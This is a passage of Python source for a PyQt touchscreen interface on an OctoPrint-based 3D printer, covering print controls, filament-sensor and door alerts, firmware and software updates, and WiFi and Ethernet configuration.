= {}, Demo = {}".format(self.__packager.read_time(), self.__timelapse_started)) self.setupUi(self) self.stackedWidget.setCurrentWidget(self.loadingPage) self.setStep(10) self.keyboardWindow = None self.changeFilamentHeatingFlag = False self.setHomeOffsetBool = False self.currentImage = None self.currentFile = None # if not Development: # self.sanityCheck = ThreadSanityCheck(self._logger, virtual=not self.__timelapse_enabled) # else: self.sanityCheck = ThreadSanityCheck(virtual=False) self.sanityCheck.start() self.sanityCheck.loaded_signal.connect(self.proceed) self.sanityCheck.startup_error_signal.connect(self.handleStartupError) for spinbox in self.findChildren(QtWidgets.QSpinBox): lineEdit = spinbox.lineEdit() lineEdit.setReadOnly(True) lineEdit.setDisabled(True) p = lineEdit.palette() p.setColor(QtGui.QPalette.Highlight, QtGui.QColor(40, 40, 40)) lineEdit.setPalette(p) except Exception as e: self._logger.error(e) def setupUi(self, MainWindow): super(MainUiClass, self).setupUi(MainWindow) font = QtGui.QFont() font.setFamily(_fromUtf8("Gotham")) font.setPointSize(15) self.wifiPasswordLineEdit = ClickableLineEdit(self.wifiSettingsPage) self.wifiPasswordLineEdit.setGeometry(QtCore.QRect(0, 170, 480, 60)) self.wifiPasswordLineEdit.setFont(font) self.wifiPasswordLineEdit.setStyleSheet(styles.textedit) self.wifiPasswordLineEdit.setObjectName(_fromUtf8("wifiPasswordLineEdit")) font.setPointSize(11) self.ethStaticIpLineEdit = ClickableLineEdit(self.ethStaticSettings) self.ethStaticIpLineEdit.setGeometry(QtCore.QRect(120, 10, 300, 30)) self.ethStaticIpLineEdit.setFont(font) self.ethStaticIpLineEdit.setStyleSheet(styles.textedit) self.ethStaticIpLineEdit.setObjectName(_fromUtf8("ethStaticIpLineEdit")) self.ethStaticGatewayLineEdit = ClickableLineEdit(self.ethStaticSettings) self.ethStaticGatewayLineEdit.setGeometry(QtCore.QRect(120, 60, 300, 30)) self.ethStaticGatewayLineEdit.setFont(font) self.ethStaticGatewayLineEdit.setStyleSheet(styles.textedit) self.ethStaticGatewayLineEdit.setObjectName(_fromUtf8("ethStaticGatewayLineEdit")) self.menuCartButton.setDisabled(True) self.movie = QtGui.QMovie("templates/img/loading.gif") self.loadingGif.setMovie(self.movie) self.movie.start() def proceed(self): ''' Startes websocket, as well as initialises button actions and callbacks. THis is done in such a manner so that the callbacks that dnepend on websockets load only after the socket is available which in turn is dependent on the server being available which is checked in the sanity check thread ''' self.QtSocket = QtWebsocket() self.QtSocket.start() self.setActions() self.movie.stop() if not Development: self.stackedWidget.setCurrentWidget(self.homePage) # self.Lock_showLock() self.setIPStatus() else: self.stackedWidget.setCurrentWidget(self.homePage) self.isFilamentSensorInstalled() def setActions(self): ''' defines all the Slots and Button events. ''' self.QtSocket.z_home_offset_signal.connect(self.getZHomeOffset) self.QtSocket.temperatures_signal.connect(self.updateTemperature) self.QtSocket.status_signal.connect(self.updateStatus) self.QtSocket.print_status_signal.connect(self.updatePrintStatus) self.QtSocket.update_started_signal.connect(self.softwareUpdateProgress) self.QtSocket.update_log_signal.connect(self.softwareUpdateProgressLog) self.QtSocket.update_log_result_signal.connect(self.softwareUpdateResult) self.QtSocket.update_failed_signal.connect(self.updateFailed) self.QtSocket.connected_signal.connect(self.onServerConnected) self.QtSocket.filament_sensor_triggered_signal.connect(self.filamentSensorHandler) self.QtSocket.firmware_updater_signal.connect(self.firmwareUpdateHandler) # # Text Input events self.wifiPasswordLineEdit.clicked_signal.connect(lambda: self.startKeyboard(self.wifiPasswordLineEdit.setText)) self.ethStaticIpLineEdit.clicked_signal.connect(lambda: self.ethShowKeyboard(self.ethStaticIpLineEdit)) self.ethStaticGatewayLineEdit.clicked_signal.connect(lambda: self.ethShowKeyboard(self.ethStaticGatewayLineEdit)) # Button Events: # Home Screen: self.stopButton.pressed.connect(self.stopActionMessageBox) # self.menuButton.pressed.connect(self.keyboardButton) self.menuButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.MenuPage)) self.controlButton.pressed.connect(self.control) self.playPauseButton.clicked.connect(self.playPauseAction) # MenuScreen self.menuBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.homePage)) self.menuControlButton.pressed.connect(self.control) self.menuPrintButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.printLocationPage)) self.menuCalibrateButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.calibratePage)) self.menuSettingsButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.settingsPage)) # Calibrate Page self.calibrateBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.MenuPage)) self.nozzleOffsetButton.pressed.connect(self.nozzleOffset) # the -ve sign is such that its converted to home offset and not just distance between nozzle and bed self.nozzleOffsetSetButton.pressed.connect( lambda: self.setZHomeOffset(self.nozzleOffsetDoubleSpinBox.value(), True)) self.nozzleOffsetBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.calibratePage)) #Bypass calibration wizzard page for not using Klipper # self.calibrationWizardButton.clicked.connect( # lambda: self.stackedWidget.setCurrentWidget(self.calibrationWizardPage)) self.calibrationWizardButton.clicked.connect(self.quickStep1) self.calibrationWizardBackButton.clicked.connect( lambda: self.stackedWidget.setCurrentWidget(self.calibratePage)) #required for Klipper # self.quickCalibrationButton.clicked.connect(self.quickStep6) # self.fullCalibrationButton.clicked.connect(self.quickStep1) self.quickStep1NextButton.clicked.connect(self.quickStep2) self.quickStep2NextButton.clicked.connect(self.quickStep3) self.quickStep3NextButton.clicked.connect(self.quickStep4) self.quickStep4NextButton.clicked.connect(self.quickStep5) self.quickStep5NextButton.clicked.connect(self.doneStep) # Required for Klipper # self.quickStep5NextButton.clicked.connect(self.quickStep6) # self.quickStep6NextButton.clicked.connect(self.doneStep) # self.moveZPCalibrateButton.pressed.connect(lambda: octopiclient.jog(z=-0.05)) # self.moveZPCalibrateButton.pressed.connect(lambda: octopiclient.jog(z=0.05)) self.quickStep1CancelButton.pressed.connect(self.cancelStep) self.quickStep2CancelButton.pressed.connect(self.cancelStep) self.quickStep3CancelButton.pressed.connect(self.cancelStep) self.quickStep4CancelButton.pressed.connect(self.cancelStep) self.quickStep5CancelButton.pressed.connect(self.cancelStep) # self.quickStep6CancelButton.pressed.connect(self.cancelStep) # PrintLocationScreen self.printLocationScreenBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.MenuPage)) self.fromLocalButton.pressed.connect(self.fileListLocal) self.fromUsbButton.pressed.connect(self.fileListUSB) # fileListLocalScreen self.localStorageBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.printLocationPage)) self.localStorageScrollUp.pressed.connect( lambda: self.fileListWidget.setCurrentRow(self.fileListWidget.currentRow() - 1)) self.localStorageScrollDown.pressed.connect( lambda: self.fileListWidget.setCurrentRow(self.fileListWidget.currentRow() + 1)) self.localStorageSelectButton.pressed.connect(self.printSelectedLocal) self.localStorageDeleteButton.pressed.connect(self.deleteItem) # selectedFile Local Screen self.fileSelectedBackButton.pressed.connect(self.fileListLocal) self.fileSelectedPrintButton.pressed.connect(self.printFile) # filelistUSBPage self.USBStorageBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.printLocationPage)) self.USBStorageScrollUp.pressed.connect( lambda: self.fileListWidgetUSB.setCurrentRow(self.fileListWidgetUSB.currentRow() - 1)) self.USBStorageScrollDown.pressed.connect( lambda: self.fileListWidgetUSB.setCurrentRow(self.fileListWidgetUSB.currentRow() + 1)) self.USBStorageSelectButton.pressed.connect(self.printSelectedUSB) self.USBStorageSaveButton.pressed.connect(lambda: self.transferToLocal(prnt=False)) # selectedFile USB Screen self.fileSelectedUSBBackButton.pressed.connect(self.fileListUSB) self.fileSelectedUSBTransferButton.pressed.connect(lambda: self.transferToLocal(prnt=False)) self.fileSelectedUSBPrintButton.pressed.connect(lambda: self.transferToLocal(prnt=True)) # ControlScreen self.moveYPButton.pressed.connect(lambda: octopiclient.jog(y=self.step, speed=1000)) self.moveYMButton.pressed.connect(lambda: octopiclient.jog(y=-self.step, speed=1000)) self.moveXMButton.pressed.connect(lambda: octopiclient.jog(x=-self.step, speed=1000)) self.moveXPButton.pressed.connect(lambda: octopiclient.jog(x=self.step, speed=1000)) self.moveZPButton.pressed.connect(lambda: octopiclient.jog(z=self.step, speed=1000)) self.moveZMButton.pressed.connect(lambda: octopiclient.jog(z=-self.step, speed=1000)) self.extruderButton.pressed.connect(lambda: octopiclient.extrude(self.step)) self.retractButton.pressed.connect(lambda: octopiclient.extrude(-self.step)) self.motorOffButton.pressed.connect(lambda: octopiclient.gcode(command='M18')) self.fanOnButton.pressed.connect(lambda: octopiclient.gcode(command='M106')) self.fanOffButton.pressed.connect(lambda: octopiclient.gcode(command='M107')) self.cooldownButton.pressed.connect(self.coolDownAction) self.step100Button.pressed.connect(lambda: self.setStep(100)) self.step1Button.pressed.connect(lambda: self.setStep(1)) self.step10Button.pressed.connect(lambda: self.setStep(10)) self.homeXYButton.pressed.connect(lambda: octopiclient.home(['x', 'y'])) self.homeZButton.pressed.connect(lambda: octopiclient.home(['z'])) self.controlBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.homePage)) self.setToolTempButton.pressed.connect(lambda: octopiclient.setToolTemperature( self.toolTempSpinBox.value())) self.setBedTempButton.pressed.connect(lambda: octopiclient.setBedTemperature(self.bedTempSpinBox.value())) self.setFlowRateButton.pressed.connect(lambda: octopiclient.flowrate(self.flowRateSpinBox.value())) self.setFeedRateButton.pressed.connect(lambda: octopiclient.feedrate(self.feedRateSpinBox.value())) # self.moveZPBabyStep.pressed.connect(lambda: octopiclient.gcode(command='SET_GCODE_OFFSET Z_ADJUST=0.025 MOVE=1')) # self.moveZMBabyStep.pressed.connect(lambda: octopiclient.gcode(command='SET_GCODE_OFFSET Z_ADJUST=-0.025 MOVE=1')) self.moveZPBabyStep.pressed.connect(lambda: octopiclient.gcode(command='M290 Z0.025')) self.moveZMBabyStep.pressed.connect(lambda: octopiclient.gcode(command='M290 Z-0.025')) # ChangeFilament rutien self.changeFilamentButton.pressed.connect(self.changeFilament) self.changeFilamentBackButton.pressed.connect(self.control) self.changeFilamentBackButton2.pressed.connect(self.changeFilamentCancel) self.changeFilamentUnloadButton.pressed.connect(lambda: self.unloadFilament()) self.changeFilamentLoadButton.pressed.connect(lambda: self.loadFilament()) self.loadDoneButton.pressed.connect(self.control) self.unloadDoneButton.pressed.connect(self.changeFilament) self.retractFilamentButton.pressed.connect(lambda: octopiclient.extrude(-20)) self.ExtrudeButton.pressed.connect(lambda: octopiclient.extrude(20)) # Settings Page self.networkSettingsButton.pressed.connect( lambda: self.stackedWidget.setCurrentWidget(self.networkSettingsPage)) self.displaySettingsButton.pressed.connect( lambda: self.stackedWidget.setCurrentWidget(self.displaySettingsPage)) self.settingsBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.MenuPage)) self.pairPhoneButton.pressed.connect(self.pairPhoneApp) self.OTAButton.pressed.connect(self.softwareUpdate) self.versionButton.pressed.connect(self.displayVersionInfo) self.restartButton.pressed.connect(self.askAndReboot) self.restoreFactoryDefaultsButton.pressed.connect(self.restoreFactoryDefaults) self.restorePrintSettingsButton.pressed.connect(self.restorePrintDefaults) # Network settings page self.networkInfoButton.pressed.connect(self.networkInfo) self.configureWifiButton.pressed.connect(self.wifiSettings) self.configureEthButton.pressed.connect(self.ethSettings) self.networkSettingsBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.settingsPage)) # Network Info Page self.networkInfoBackButton.pressed.connect( lambda: self.stackedWidget.setCurrentWidget(self.networkSettingsPage)) # WifiSetings page self.wifiSettingsSSIDKeyboardButton.pressed.connect( lambda: self.startKeyboard(self.wifiSettingsComboBox.addItem)) self.wifiSettingsCancelButton.pressed.connect( lambda: self.stackedWidget.setCurrentWidget(self.networkSettingsPage)) self.wifiSettingsDoneButton.pressed.connect(self.acceptWifiSettings) # Ethernet setings page self.ethStaticCheckBox.stateChanged.connect(self.ethStaticChanged) # self.ethStaticCheckBox.stateChanged.connect(lambda: self.ethStaticSettings.setVisible(self.ethStaticCheckBox.isChecked())) self.ethStaticIpKeyboardButton.pressed.connect(lambda: self.ethShowKeyboard(self.ethStaticIpLineEdit)) self.ethStaticGatewayKeyboardButton.pressed.connect(lambda: self.ethShowKeyboard(self.ethStaticGatewayLineEdit)) self.ethSettingsDoneButton.pressed.connect(self.ethSaveStaticNetworkInfo) self.ethSettingsCancelButton.pressed.connect( lambda: self.stackedWidget.setCurrentWidget(self.networkSettingsPage)) # Display settings self.rotateDisplay.pressed.connect(self.showRotateDisplaySettingsPage) self.calibrateTouch.pressed.connect(self.touchCalibration) self.displaySettingsBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.settingsPage)) # Rotate Display Settings self.rotateDisplaySettingsDoneButton.pressed.connect(self.saveRotateDisplaySettings) self.rotateDisplaySettingsCancelButton.pressed.connect( lambda: self.stackedWidget.setCurrentWidget(self.displaySettingsPage)) # QR Code self.QRCodeBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.settingsPage)) # SoftwareUpdatePage self.softwareUpdateBackButton.pressed.connect(lambda: self.stackedWidget.setCurrentWidget(self.settingsPage)) self.performUpdateButton.pressed.connect(lambda: octopiclient.performSoftwareUpdate()) # Firmware update page self.firmwareUpdateBackButton.pressed.connect(self.firmwareUpdateBack) # Filament sensor toggle self.toggleFilamentSensorButton.clicked.connect(self.toggleFilamentSensor) # # Lock settings # if not Development: # self.pgLock_pin.textChanged.connect(self.Lock_onPinInputChanged) # # self.pgLock_bt1.clicked.connect(lambda: self.Lock_kbAdd("1")) # self.pgLock_bt2.clicked.connect(lambda: self.Lock_kbAdd("2")) # self.pgLock_bt3.clicked.connect(lambda: self.Lock_kbAdd("3")) # self.pgLock_bt4.clicked.connect(lambda: self.Lock_kbAdd("4")) # self.pgLock_bt5.clicked.connect(lambda: self.Lock_kbAdd("5")) # self.pgLock_bt6.clicked.connect(lambda: self.Lock_kbAdd("6")) # self.pgLock_bt7.clicked.connect(lambda: self.Lock_kbAdd("7")) # self.pgLock_bt8.clicked.connect(lambda: self.Lock_kbAdd("8")) # self.pgLock_bt9.clicked.connect(lambda: self.Lock_kbAdd("9")) # self.pgLock_bt0.clicked.connect(lambda: self.Lock_kbAdd("0")) # self.pgLock_btBackspace.clicked.connect(lambda: self.pgLock_pin.backspace()) # self.pgLock_btSubmit.clicked.connect(self.Lock_submitPIN) # # ''' +++++++++++++++++++++++++Lock Settings+++++++++++++++++++++++++++++++++++ ''' # def Lock_showLock(self): # self.pgLock_HID.setText(str(self.__packager.hc())) # self.pgLock_pin.setText("") # if not self.__timelapse_enabled: # # dialog.WarningOk(self, "Machine locked!", overlay=True) # self.stackedWidget.setCurrentWidget(self.pgLock) # else: # # if self.__timelapse_started: # # dialog.WarningOk(self, "Demo mode!", overlay=True) # self.stackedWidget.setCurrentWidget(self.homePage) # # def Lock_kbAdd(self, txt): # if len(str(self.pgLock_pin.text())) < 9: # self.pgLock_pin.setText(str(self.pgLock_pin.text()) + txt) # self.pgLock_pin.setFocus() # # def Lock_onPinInputChanged(self): # self.pgLock_btBackspace.setEnabled(len(str(self.pgLock_pin.text())) > 0) # self.pgLock_btSubmit.setEnabled(len(str(self.pgLock_pin.text())) > 3) # # def Lock_submitPIN(self): # k = -1 # t = self.pgLock_pin.text() # try: # k = int(t) # if self.__packager.match(k): # self.__packager.save(k) # # self.__timelapse_enabled = True # if dialog.SuccessOk(self, "Machine unlocked!", overlay=True): # self.tellAndReboot() # self.stackedWidget.setCurrentWidget(self.homePage) # else: # dialog.WarningOk(self, "Incorrect unlock code") # except Exception as e: # dialog.WarningOk(self, "Error while parsing unlock code") # print(e) ''' +++++++++++++++++++++++++Print Restore+++++++++++++++++++++++++++++++++++ ''' def printRestoreMessageBox(self, file): ''' Displays a message box alerting the user of a filament error ''' if dialog.WarningYesNo(self, file + " Did not finish, would you like to restore?"): response = octopiclient.restore(restore=True) if response["status"] == "Successfully Restored": dialog.WarningOk(response["status"]) else: dialog.WarningOk(response["status"]) else: octoprintAPI.restore(restore=False) def onServerConnected(self): self.isFilamentSensorInstalled() # if not self.__timelapse_enabled: # return # if self.__timelapse_started: # return try: response = octopiclient.isFailureDetected() if response["canRestore"] is True: self.printRestoreMessageBox(response["file"]) else: self.firmwareUpdateCheck() except: print ("error on Server Connected") pass ''' +++++++++++++++++++++++++Filament Sensor++++++++++++++++++++++++++++++++++++++ ''' def isFilamentSensorInstalled(self): success = False try: headers = {'X-Api-Key': apiKey} req = requests.get('http://{}/plugin/Julia2018FilamentSensor/status'.format(ip), headers=headers) success = req.status_code == requests.codes.ok except: pass self.toggleFilamentSensorButton.setEnabled(success) return success def toggleFilamentSensor(self): headers = {'X-Api-Key': apiKey} # payload = {'sensor_enabled': self.toggleFilamentSensorButton.isChecked()} requests.get('http://{}/plugin/Julia2018FilamentSensor/toggle'.format(ip), headers=headers) # , data=payload) def filamentSensorHandler(self, data): sensor_enabled = False # print(data) if 'sensor_enabled' in data: sensor_enabled = data["sensor_enabled"] == 1 icon = 'filamentSensorOn' if sensor_enabled else 'filamentSensorOff' self.toggleFilamentSensorButton.setIcon(QtGui.QIcon(_fromUtf8("templates/img/" + icon))) if not sensor_enabled: return triggered_extruder0 = False triggered_door = False pause_print = False if 'filament' in data: triggered_extruder0 = data["filament"] == 0 elif 'extruder0' in data: triggered_extruder0 = data["extruder0"] == 0 if 'door' in data: triggered_door = data["door"] == 0 if 'pause_print' in data: pause_print = data["pause_print"] #Update if triggered_extruder0 and self.stackedWidget.currentWidget() not in [self.changeFilamentPage, self.changeFilamentProgressPage, self.changeFilamentExtrudePage, self.changeFilamentRetractPage]: if dialog.WarningOk(self, "Filament outage in Extruder 0"): pass if triggered_door: if self.printerStatusText == "Printing": no_pause_pages = [self.controlPage, self.changeFilamentPage, self.changeFilamentProgressPage, self.changeFilamentExtrudePage, self.changeFilamentRetractPage] if not pause_print or self.stackedWidget.currentWidget() in no_pause_pages: if dialog.WarningOk(self, "Door opened"): return octopiclient.pausePrint() if dialog.WarningOk(self, "Door opened. Print paused.", overlay=True): return else: if dialog.WarningOk(self, "Door opened"): return ''' +++++++++++++++++++++++++++ Firmware Update+++++++++++++++++++++++++++++++++++ ''' isFirmwareUpdateInProgress = False def firmwareUpdateCheck(self): headers = {'X-Api-Key': apiKey} requests.get('http://{}/plugin/JuliaFirmwareUpdater/update/check'.format(ip), headers=headers) def firmwareUpdateStart(self): headers = {'X-Api-Key': apiKey} requests.get('http://{}/plugin/JuliaFirmwareUpdater/update/start'.format(ip), headers=headers) def firmwareUpdateStartProgress(self): self.stackedWidget.setCurrentWidget(self.firmwareUpdateProgressPage) # self.firmwareUpdateLog.setTextColor(QtCore.Qt.yellow) self.firmwareUpdateLog.setText("<span style='color: cyan'>Julia Firmware Updater<span>") self.firmwareUpdateLog.append("<span style='color: cyan'>---------------------------------------------------------------</span>") self.firmwareUpdateBackButton.setEnabled(False) def firmwareUpdateProgress(self, text, backEnabled=False): self.stackedWidget.setCurrentWidget(self.firmwareUpdateProgressPage) # self.firmwareUpdateLog.setTextColor(QtCore.Qt.yellow) self.firmwareUpdateLog.append(str(text)) self.firmwareUpdateBackButton.setEnabled(backEnabled) def firmwareUpdateBack(self): self.isFirmwareUpdateInProgress = False self.firmwareUpdateBackButton.setEnabled(False) self.stackedWidget.setCurrentWidget(self.homePage) def firmwareUpdateHandler(self, data): if "type" not in data or data["type"] != "status": return if "status" not in data: return status = data["status"] subtype = data["subtype"] if "subtype" in data else None if status == "update_check": # update check if subtype == "error": # notify error in ok diag self.isFirmwareUpdateInProgress = False if "message" in data: dialog.WarningOk(self, "Firmware Updater Error: " + str(data["message"]), overlay=True) elif subtype == "success": if dialog.SuccessYesNo(self, "Firmware update found.\nPress yes to update now!", overlay=True): self.isFirmwareUpdateInProgress = True self.firmwareUpdateStart() elif status == "update_start": # update started if subtype == "success": # update progress self.isFirmwareUpdateInProgress = True self.firmwareUpdateStartProgress() if "message" in data: message = "<span style='color: yellow'>{}</span>".format(data["message"]) self.firmwareUpdateProgress(message) else: # show error self.isFirmwareUpdateInProgress = False # self.firmwareUpdateProgress(data["message"] if "message" in data else "Unknown error!", backEnabled=True) if "message" in data: dialog.WarningOk(self, "Firmware Updater Error: " + str(data["message"]), overlay=True) elif status == "flasherror" or status == "progress": # show software update dialog and update textview if "message" in data: message = "<span style='color: {}'>{}</span>".format("teal" if status == "progress" else "red", data["message"]) self.firmwareUpdateProgress(message, backEnabled=(status == "flasherror")) elif status == "success": # show ok diag to show done self.isFirmwareUpdateInProgress = False message = data["message"] if "message" in data else "Flash successful!" message = "<span style='color: green'>{}</span>".format(message) message = message + "<br/><br/><span style='color: white'>Press back to continue...</span>" self.firmwareUpdateProgress(message, backEnabled=True) ''' +++++++++++++++++++++++++++++++++OTA Update+++++++++++++++++++++++++++++++++++ ''' def getFirmwareVersion(self): try: headers = {'X-Api-Key': apiKey} req = requests.get('http://{}/plugin/JuliaFirmwareUpdater/hardware/version'.format(ip), headers=headers) data = req.json() # print(data) if req.status_code == requests.codes.ok: info = u'\u2713' if not data["update_available"] else u"\u2717" # icon info += " Firmware: " info += "Unknown" if not data["variant_name"] else data["variant_name"] info += "\n" if data["variant_name"]: info += " Installed: " info += "Unknown" if not data["version_board"] else data["version_board"] info += "\n" info += "" if not data["version_repo"] else " Available: " + data["version_repo"] return info except: print("Error accessing /plugin/JuliaFirmwareUpdater/hardware/version") pass return u'\u2713' + "Firmware: Unknown\n" def displayVersionInfo(self): self.updateListWidget.clear() updateAvailable = False self.performUpdateButton.setDisabled(True) # Firmware version on the MKS https://github.com/FracktalWorks/OctoPrint-JuliaFirmwareUpdater # self.updateListWidget.addItem(self.getFirmwareVersion()) data = octopiclient.getSoftwareUpdateInfo() if data: for item in data["information"]: # print(item) plugin = data["information"][item] info = u'\u2713' if not plugin["updateAvailable"] else u"\u2717" # icon info += plugin["displayName"] + " " + plugin["displayVersion"] + "\n" info += " Available: " if "information" in plugin and "remote" in plugin["information"] and plugin["information"]["remote"]["value"] is not None: info += plugin["information"]["remote"]["value"] else: info += "Unknown" self.updateListWidget.addItem(info) if plugin["updateAvailable"]: updateAvailable = True # if not updatable: # self.updateListWidget.addItem(u'\u2713' + data["information"][item]["displayName"] + # " " + data["information"][item]["displayVersion"] + "\n" # + " Available: " + # ) # else: # updateAvailable = True # self.updateListWidget.addItem(u"\u2717" + data["information"][item]["displayName"] + # " " + data["information"][item]["displayVersion"] + "\n" # + " Available: " + # data["information"][item]["information"]["remote"]["value"]) if updateAvailable: self.performUpdateButton.setDisabled(False) self.stackedWidget.setCurrentWidget(self.OTAUpdatePage) def softwareUpdateResult(self, data): messageText = "" for item in data: messageText += item + ": " + data[item][0] + ".\n" messageText += "Restart required" self.askAndReboot(messageText) def softwareUpdateProgress(self, data): self.stackedWidget.setCurrentWidget(self.softwareUpdateProgressPage) self.logTextEdit.setTextColor(QtCore.Qt.red) self.logTextEdit.append("---------------------------------------------------------------\n" "Updating " + data["name"] + " to " + data["version"] + "\n" "---------------------------------------------------------------") def softwareUpdateProgressLog(self, data): self.logTextEdit.setTextColor(QtCore.Qt.white) for line in data: self.logTextEdit.append(line["line"]) def updateFailed(self, data): self.stackedWidget.setCurrentWidget(self.settingsPage) messageText = (data["name"] + " failed to update\n") if dialog.WarningOkCancel(self, messageText, overlay=True): pass def softwareUpdate(self): data = octopiclient.getSoftwareUpdateInfo() updateAvailable = False if data: for item in data["information"]: if data["information"][item]["updateAvailable"]: updateAvailable = True if updateAvailable: print('Update Available') if dialog.SuccessYesNo(self, "Update Available! Update Now?", overlay=True): octopiclient.performSoftwareUpdate() else: if dialog.SuccessOk(self, "System is Up To Date!", overlay=True): print('Update Unavailable') ''' +++++++++++++++++++++++++++++++++Wifi Config+++++++++++++++++++++++++++++++++++ ''' def acceptWifiSettings(self): wlan0_config_file = io.open("/etc/wpa_supplicant/wpa_supplicant.conf", "r+", encoding='utf8') wlan0_config_file.truncate() ascii_ssid = self.wifiSettingsComboBox.currentText() # unicode_ssid = ascii_ssid.decode('string_escape').decode('utf-8') wlan0_config_file.write(u"country=IN\n") wlan0_config_file.write(u"ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev\n") wlan0_config_file.write(u"update_config=1\n") wlan0_config_file.write(u"network={\n") wlan0_config_file.write(u'ssid="' + str(ascii_ssid) + '"\n') if self.hiddenCheckBox.isChecked(): wlan0_config_file.write(u'scan_ssid=1\n') # wlan0_config_file.write(u"scan_ssid=1\n") if str(self.wifiPasswordLineEdit.text()) != "": wlan0_config_file.write(u'psk="' + str(self.wifiPasswordLineEdit.text()) + '"\n') # wlan0_config_file.write(u"key_mgmt=WPA-PSK\n") wlan0_config_file.write(u'}') wlan0_config_file.close() self.restartWifiThreadObject = ThreadRestartNetworking(ThreadRestartNetworking.WLAN) self.restartWifiThreadObject.signal.connect(self.wifiReconnectResult) self.restartWifiThreadObject.start() self.wifiMessageBox = dialog.dialog(self, "Restarting networking, please wait...", icon="exclamation-mark.png", buttons=QtWidgets.QMessageBox.Cancel) if self.wifiMessageBox.exec_() in {QtWidgets.QMessageBox.Ok, QtWidgets.QMessageBox.Cancel}: self.stackedWidget.setCurrentWidget(self.networkSettingsPage) def wifiReconnectResult(self, x): self.wifiMessageBox.setStandardButtons(QtWidgets.QMessageBox.Ok) if x is not None: print("Ouput from signal " + x) self.wifiMessageBox.setLocalIcon('success.png') self.wifiMessageBox.setText('Connected, IP: ' + x) self.wifiMessageBox.setStandardButtons(QtWidgets.QMessageBox.Ok) self.ipStatus.setText(x) #sets the IP addr. in the status bar else: self.wifiMessageBox.setText("Not able to connect to WiFi") def networkInfo(self): ipWifi = getIP(ThreadRestartNetworking.WLAN) ipEth = getIP(ThreadRestartNetworking.ETH) self.hostname.setText(getHostname()) self.wifiAp.setText(getWifiAp()) self.wifiIp.setText("Not connected" if not ipWifi else ipWifi) self.ipStatus.setText("Not connected" if not ipWifi else ipWifi) self.lanIp.setText("Not connected" if not ipEth else ipEth) self.wifiMac.setText(getMac(ThreadRestartNetworking.WLAN).decode('utf8')) self.lanMac.setText(getMac(ThreadRestartNetworking.ETH).decode('utf8')) self.stackedWidget.setCurrentWidget(self.networkInfoPage) def wifiSettings(self): self.stackedWidget.setCurrentWidget(self.wifiSettingsPage) self.wifiSettingsComboBox.clear() self.wifiSettingsComboBox.addItems(self.scan_wifi()) def scan_wifi(self): ''' uses linux shell and WIFI interface to scan available networks :return: dictionary of the SSID and the signal strength ''' # scanData = {} # print "Scanning available wireless signals available to wlan0" scan_result = \ subprocess.Popen("iwlist wlan0 scan | grep 'ESSID'", stdout=subprocess.PIPE, shell=True).communicate()[0] # Processing STDOUT into a dictionary that later will be converted to a json file later scan_result = scan_result.decode('utf8').split('ESSID:') # each ssid and pass from an item in a list ([ssid pass,ssid paas]) scan_result = [s.strip() for s in scan_result] scan_result = [s.strip('"') for s in scan_result] scan_result = filter(None, scan_result) return scan_result @run_async def setIPStatus(self): ''' Function to update IP address of printer on the status bar. Refreshes at a particular interval. ''' while(True): try: if getIP("eth0"): self.ipStatus.setText(getIP("eth0")) elif getIP("wlan0"): self.ipStatus.setText(getIP("wlan0")) else: self.ipStatus.setText("Not connected") except: self.ipStatus.setText("Not connected") time.sleep(60) ''' +++++++++++++++++++++++++++++++++Ethernet Settings+++++++++++++++++++++++++++++ ''' def ethSettings(self): self.stackedWidget.setCurrentWidget(self.ethSettingsPage) # self.ethStaticCheckBox.setChecked(True) self.ethNetworkInfo() def ethStaticChanged(self, state): self.ethStaticSettings.setVisible(self.ethStaticCheckBox.isChecked()) self.ethStaticSettings.setEnabled(self.ethStaticCheckBox.isChecked()) # if state == QtCore.Qt.Checked: # self.ethStaticSettings.setVisible(True) # else: # self.ethStaticSettings.setVisible(False) def ethNetworkInfo(self): txt = subprocess.Popen("cat /etc/dhcpcd.conf", stdout=subprocess.PIPE, shell=True).communicate()[0] reEthGlobal = b"interface\s+eth0\s?(static\s+[a-z0-9./_=\s]+\n)*" reEthAddress = b"static\s+ip_address=([\d.]+)(/[\d]{1,2})?" reEthGateway = b"static\s+routers=([\d.]+)(/[\d]{1,2})?" mtEthGlobal = re.search(reEthGlobal, txt) cbStaticEnabled = False txtEthAddress = "" txtEthGateway = "" if mtEthGlobal: sz = len(mtEthGlobal.groups()) cbStaticEnabled = (sz == 1) if sz == 1: mtEthAddress = re.search(reEthAddress, mtEthGlobal.group(0)) if mtEthAddress and len(mtEthAddress.groups()) == 2: txtEthAddress = mtEthAddress.group(1) mtEthGateway = re.search(reEthGateway, mtEthGlobal.group(0)) if mtEthGateway and len(mtEthGateway.groups()) == 2: txtEthGateway = mtEthGateway.group(1) self.ethStaticCheckBox.setChecked(cbStaticEnabled) self.ethStaticSettings.setVisible(cbStaticEnabled) self.ethStaticIpLineEdit.setText(txtEthAddress) self.ethStaticGatewayLineEdit.setText(txtEthGateway) def isIpErr(self, ip): return (re.search(r"^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$", ip) is None) def showIpErr(self, var): return dialog.WarningOk(self, "Invalid input: {0}".format(var)) def ethSaveStaticNetworkInfo(self): cbStaticEnabled = self.ethStaticCheckBox.isChecked() txtEthAddress = str(self.ethStaticIpLineEdit.text()) txtEthGateway = str(self.ethStaticGatewayLineEdit.text()) if cbStaticEnabled: if self.isIpErr(txtEthAddress): return self.showIpErr("IP Address") if self.isIpErr(txtEthGateway): return self.showIpErr("Gateway") txt = subprocess.Popen("cat /etc/dhcpcd.conf", stdout=subprocess.PIPE, shell=True).communicate()[0] op = "" reEthGlobal = r"interface\s+eth0" 